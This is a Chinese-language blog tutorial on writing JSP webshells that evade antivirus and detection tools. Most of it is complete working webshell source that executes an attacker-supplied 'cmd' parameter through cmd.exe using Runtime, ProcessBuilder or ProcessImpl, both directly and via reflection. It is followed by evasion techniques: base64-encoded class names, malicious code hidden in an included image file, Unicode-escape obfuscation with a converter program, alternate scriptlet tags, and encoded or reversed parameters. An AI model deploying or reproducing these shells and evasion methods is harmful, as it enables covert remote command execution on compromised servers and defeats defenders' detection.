Jsp Webshell免杀-命令执行
2022-03-19 09:22:54 # Java安全

命令执行

Java命令执行的类,主要是Runtime类和ProcessBuilder类,根据这两个类,我们可以编写出经典的jsp webshell,代码以适用windows平台为例

Runtime类实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if(cmd != null){
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
out.print("<pre>");
String line;
while((line = br.readLine()) != null) {
out.println(line);
}
out.print("</pre>");
br.close();
ins.close();
input.close();
p.getOutputStream().close();
}
%>

ProcessBuilder类实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if(cmd != null){
String[] cmds = new String[]{"cmd","/c",cmd};
ProcessBuilder builder = new ProcessBuilder(cmds);
Process process = builder.start();
InputStream in = process.getInputStream();
InputStreamReader ins = new InputStreamReader(in, "GBK");
BufferedReader br = new BufferedReader(ins);
out.print("<pre>");
String line;
while((line = br.readLine()) != null) {
out.println(line);
}
out.print("</pre>");
br.close();
ins.close();
in.close();
process.getOutputStream().close();
}
%>

反射

利用反射来免杀webshell是常用技术之一

反射获取Runtime类实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if(cmd != null) {
String[] cmds = new String[]{"cmd", "/c", cmd};
Class clazz = null;
try {
clazz = Class.forName("java.lang.Runtime");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
Constructor declaredConstructor = clazz.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Object o = null;
try {
o = declaredConstructor.newInstance();
} catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
Method show = null;
try {
show = clazz.getDeclaredMethod("exec", String[].class);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
Object invoke = null;
try {
invoke = show.invoke(o, (Object) cmds);
} catch (IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
Process invoke1 = (Process) invoke;

InputStream input = invoke1.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
out.print("<pre>");
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
out.print("</pre>");
br.close();
ins.close();
input.close();
invoke1.getOutputStream().close();
}
%>

反射获取ProcessBuilder类实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if(cmd != null){
String[] cmds = new String[]{"cmd","/c",cmd};
Class clazz = null;
try {
clazz = Class.forName("java.lang.ProcessBuilder");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
Constructor declaredConstructors = null;
try {
declaredConstructors = clazz.getDeclaredConstructor(String[].class);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
Object o = null;
try {
o = declaredConstructors.newInstance((Object) cmds);
} catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
Method command = null;
try {
command = clazz.getDeclaredMethod("start");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
Object invoke = null;
try {
invoke = command.invoke(o);
} catch (IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
Process invoke1 = (Process) invoke;
InputStream input = invoke1.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
out.print("<pre>");
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
out.print("</pre>");
br.close();
ins.close();
input.close();
invoke1.getOutputStream().close();
}
%>

反射获取ProcessImpl类实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if(cmd != null) {
String[] cmds = new String[]{"cmd.exe", "/c", cmd};
Class clazz = null;
try {
clazz = Class.forName("java.lang.ProcessImpl");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
//获取该class类
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
//忽略访问权限
Process invoke1 = null;
try {
invoke1 = (Process) method.invoke(null, cmds, null, ".", null, true);
} catch (IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}

InputStream input = invoke1.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
out.print("<pre>");
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
out.print("</pre>");
br.close();
ins.close();
input.close();
invoke1.getOutputStream().close();
}
%>

有些检测工具可能会对命令执行的类名进行检测,这里可以对类名进行加密或者编码,比如对java.lang.Runtime进行base64编码

1
2
String a = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="));
System.out.println(a);

不仅仅是类名,像命令执行的函数名同理,方法有很多,常见的加密都可以尝试。

include指令

Java Web 中有include指令,可以将外部文件嵌入到当前jsp语句中,并同时解析页面的jsp语句,和PHP中的include类似。

比如我们包含一个1.jpg

1
2
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ include file="1.jpg" %>

这个时候我们可以在1.jpg中插入恶意代码,也是可以正常访问的

image-20220319103520678

编码

Java 程序可以自动识别Unicode编码,所以我们可以将java源代码中除了page指令的代码外的,全部编码。

编写代码如下,代码的功能是读取保存了恶意代码的文件,然后将文件中的代码进行unicode编码输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.sec.test01.test;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;

public class Testdd {
public static void convert(String str) {
str = (str == null ? "" : str);
String tmp;
StringBuffer sb = new StringBuffer(1000);
char c;
int i, j;
sb.setLength(0);
for (i = 0; i < str.length(); i++) {
c = str.charAt(i);
sb.append("\\u");
j = (c >>> 8); //取出高8位
tmp = Integer.toHexString(j);
if (tmp.length() == 1) {
sb.append("0");
}
sb.append(tmp);
j = (c & 0xFF); //取出低8位
tmp = Integer.toHexString(j);
if (tmp.length() == 1) {
sb.append("0");
}
sb.append(tmp);

}
System.out.print(new String(sb));
}

public static void main(String[] args) throws IOException {
File srcfile = new File("D:\\code\\java1\\Reflect\\src\\main\\java\\com\\sec\\test01\\test\\1.txt");
FileReader fileReader = new FileReader(srcfile);
BufferedReader bufferedReader = new BufferedReader(fileReader);
String s;
while ((s = bufferedReader.readLine()) != null) {
convert(s);
System.out.print("\r\n");
}
}
}

然后编写一个jsp,import需要的类,剩余就把生成的unicode字符粘贴到里面即可

1
2
3
4
5
6
7
8
9
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<!--import导入需要的类,否则会导致创建变量失败-->
<%
生成的unicode编码
%>

运行结果如下

image-20220319110731080

可以进一步优化,Unicode编码的关键点在于以’\u’开头,表明是unicode编码,可以将’u’重复声明,即’\uuuuuuu’达到混淆的目的

1
2
System.out.println("\u006f\u0075\u0074");
System.out.println("\uuuuuu006f\uuuuuuu0075\uuu0074");

输出一致:

image-20220319111303826

可以再输出的时候将”\u”替换成”\uuuuuuuu”

1
System.out.print(new String(sb).replace("\\u", "\\uuuuuuuu"));

同样,也可以转换成其他编码格式。

其他

标签绕过,jsp标签<%%>可以使用<jsp:scriptlet></jsp:scriptlet>代替。

1
2
3
<jsp:scriptlet>
恶意代码
</jsp:scriptlet>

效果一样

image-20220319112955161

对于传入的参数可以先将其存储进会话,然后调用。

1
2
request.setAttribute("a",request.getParameter("cmd"));
String cmd = request.getAttribute("a").toString();

检测传入的命令,可以通过编码、加密、反转等等

1
2
//base64编码反转
String cmd = new String(Base64.getDecoder().decode(reverseStr(bs64)),"UTF-8");

参考

https://www.jianshu.com/p/c54ec1cbc091